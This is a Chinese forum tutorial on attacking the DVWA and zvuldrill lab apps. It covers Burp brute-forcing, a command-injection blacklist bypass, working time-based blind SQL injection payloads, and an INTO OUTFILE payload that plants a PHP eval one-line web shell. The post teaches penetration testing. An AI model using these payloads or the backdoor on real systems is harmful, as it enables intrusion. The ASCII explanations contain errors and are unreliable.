首页
社区
课程
招聘
[原创]安全攻城师系列文章-web常见漏洞攻防讲解(下)
发表于: 2017-4-27 10:12 2935

[原创]安全攻城师系列文章-web常见漏洞攻防讲解(下)

2017-4-27 10:12
2935

文章系列


本次团队主要出一个渗透测试系列,在基上文章会慢慢度加,本次系列文章主要是由安全研究员orion为大家进行创作。后续视频也会慢慢录制,希望给大家一个更好学习的地方团队其它研究也在准powershell渗透系列文章和视频,希望大家尽期待。

本次系列文章以及下系列文章首选都会在公众号先行发布,如果你想看到最新文章,不要犹豫请关注我们。

微信id:sec-redclub


上一篇,我们讲解了如何搭建漏洞环境,这一节我们将通过探索dvwa的漏洞,简单对代码进行分析,初步了解代码审计的流程。

Brute Force

暴力破解,故名思议,通过枚举字典猜解用户登录帐号及密码,没有很好的方法去避免被暴力破解,但可通过限制增加暴力破解的成本。

通过查看代码我们可以看到,该判断登录过程,未做任何有效的爆破限制,既无登录次数限制,也无验证码机制。


下面我们使用burp进行暴力破解该登录用户名及密码

代理设置

这里我们设置代理对该位置进行爆破,有人会问,如何设置代理,下面我们简单介绍下
首先,需要我们设置burp,设置127.0.0.1,端口为8080

其次,在浏览器中设置代理,同样将代理设置为127.0.0.1,端口为8080

爆破

下面开始抓取请求包

发送到intruder进行暴力破解

使用cluster bomb,并选中username、password参数,进行爆破

下面选择payloads,其中1为用户帐号,2为密码

Payload2字典,可以看到需要请求32次,也就是将所有对应的payload进行遍历一次

这里按长度进行排序,可以看到猜解出正确的用户名与密码

Command Injection

low


查看代码我们可以发现,代码中未对输入参数进行校验,直接进行执行
shell_exec函数:
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回

Windows和Linux均可使用&&进行执行多条命令


medium

可发现对&&和:进行了过滤,但是使用黑名单过滤机制可能会存在过滤不完全的可能。而导致被绕过

发现没有对&进行过滤,我们使用&发现可正常执行命令

简单介绍下“&&”、“&”、“||”、“|”的区别

命令1&&命令2
&&:如果前面的条件已经是false了,那么后面的条件不需要再进行任何的判断

命令1&命令2
&:表示所有的判断条件都要执行,不管前面是否满足

命令1 | 命令2
|:是管道符,表示将命令1的输出作为命令 2的输入,并且只打印命令2执行的结果

命令1||命令2
||:或者的意思,如果命令1是true,那么就不判断,若前面为false,才会执行命令2

High

同样,查看高级可以看到同样使用黑名单机制,依然可以绕过,这里不在进行测试

下面简单介绍下时间型注入,这里使用的漏洞环境为zvuldrill

SQL注入小计

首先,使用’测试,查看是否存在注入点,可以发现页面出现报错,说明可能存在注入

下面进一步测试,这里我们使用or进行测试1’ or 1=1#,#表示注释,or表示两边有一个为真即为真,这里使用1=1,1=1我们知道肯定为真,那么该语句肯定为真,可以看到页面正常显示,并将所有的信息显示出来

使用or进行测试1’ or 1=2#,1=2说明永假,两边都为假,那么肯定是假,可以看到页面未显示数据


下面我们学习下时间型注入,主要是通过查看数据库的响应时间来判断是否存在注入漏洞,这里我们设置为5秒,若页面会有5秒钟的延时,说明可通过该处插入SQL语句,与数据库进行交互

判断是否存在时间型注入

查看延时前的页面

查看插入延时语句后的页面
1%' and (select * from (select(sleep(5)))a)-- -
可以看到出现延时,延时5秒

时间注入

这里我们对数据库进行猜解,并简单介绍下有关函数。
1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))>65,0,5)))))a)-- -
说明:

表示数据库名
表示判断数据是否为空
表示选出重复的数据
表示用于从文本字段中提取字符
表示如果最左边的字符的字符串str是一个多字节字符,返回该字符的数据 
函数表示判断,对数据进行判断
为26个大写英文字母,97~122号为26个小写英文字母,其余为一些标点符号、运算符号等。

这条注入语句的意思是对数据库进行猜解,判断第一个字符是否大于65,也就是该字符的acsii码是否大于65,65表示a,大于时5-0,延时5秒,不大于时延时5-5秒,也就是0秒。通过查看延时时间进行判断该位置字符,这里我们看到延时了,说明大于65。

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))>96,0,5)))))a)-- -
这条注入语句的意思是对数据库进行猜解,判断第一个字符是否大于65,也就是该字符的acsii码是否大于96,96表示A的前一个字符,大于时5-0,延时5秒,不大于时延时5-5秒,也就是0秒。通过查看延时时间进行判断该位置字符,这里我们看到延时了,说明大于96。

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))>112,0,5)))))a)-- -
这条注入语句的意思是对数据库进行猜解,判断第一个字符是否大于112,这里使用折半的方式进行猜解,以减少猜解的时间,也就是该字符的acsii码是否大于112,大于时5-0,延时5秒,不大于时延时5-5秒,也就是0秒。通过查看延时时间进行判断该位置字符,这里我们没有,说明小于112。

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))>104,0,5)))))a)-- -
这条注入语句的意思是对数据库进行猜解,判断第一个字符是否大于104,这里使用折半的方式进行猜解,以减少猜解的时间,也就是该字符的acsii码是否大于104,大于时5-0,延时5秒,不大于时延时5-5秒,也就是0秒。通过查看延时时间进行判断该位置字符,这里我们没有,说明大于104。

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))>108,0,5)))))a)-- -
这条注入语句的意思是对数据库进行猜解,判断第一个字符是否大于108,这里使用折半的方式进行猜解,以减少猜解的时间,也就是该字符的acsii码是否大于108,大于时5-0,延时5秒,不大于时延时5-5秒,也就是0秒。通过查看延时时间进行判断该位置字符,说明大于108。

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))>110,0,5)))))a)-- -

这条注入语句的意思是对数据库进行猜解,判断第一个字符是否大于110,这里使用折半的方式进行猜解,以减少猜解的时间,也就是该字符的acsii码是否大于110,大于时5-0,延时5秒,不大于时延时5-5秒,也就是0秒。通过查看延时时间进行判断该位置字符,这里我们没有,说明小于110。

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))=109,0,5)))))a)-- -
上面看到已经在108-110之间了,所以不是109就是110,我们看等于109时的时间,可以看到延时了5秒,说明等于109。也就是小写字母m

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),1,1))=110,0,5)))))a)-- -
可以看到该语句未延时,说明猜测正确

其他参数猜测过程一样,这里不再进行猜测,直接将猜到该字符的语句写出,这里猜测的数据库为mysql,ascii码分别为109、121、115、113、108。
1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),2,1))=121,0,5)))))a)-- -
我们看到该语句中将位置改为2也就是要猜第二个字符,其他字符同理

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),3,1))=115,0,5)))))a)-- -

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),4,1))=113,0,5)))))a)-- -

1%' and (select * from (select(sleep(5-(if(ord(mid((select distinct(ifnull(cast(schema_name as char),0x20)) from information_schema.schemata limit 1,1),5,1))=108,0,5)))))a)-- -

上传shell

在存在漏洞位置将一句话木马插入到c:/wamp/www/zvuldrill/目录,当然前提,我们需要知道网站的路径,所以可以通过上面的爆路径等方式查看网站目录
http://192.168.80.136/zvuldrill/search.php?search=1%' UNION SELECT 1,2,'<?php eval($_POST["cmd"]);?>',4 into outfile 'c:/wamp/www/zvuldrill/good2.php'%23

查看服务器发现网站根目录写入good2.php后门文件

访问后门


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
幸苦,楼主
2017-4-27 21:47
0
游客
登录 | 注册 方可回帖
返回
//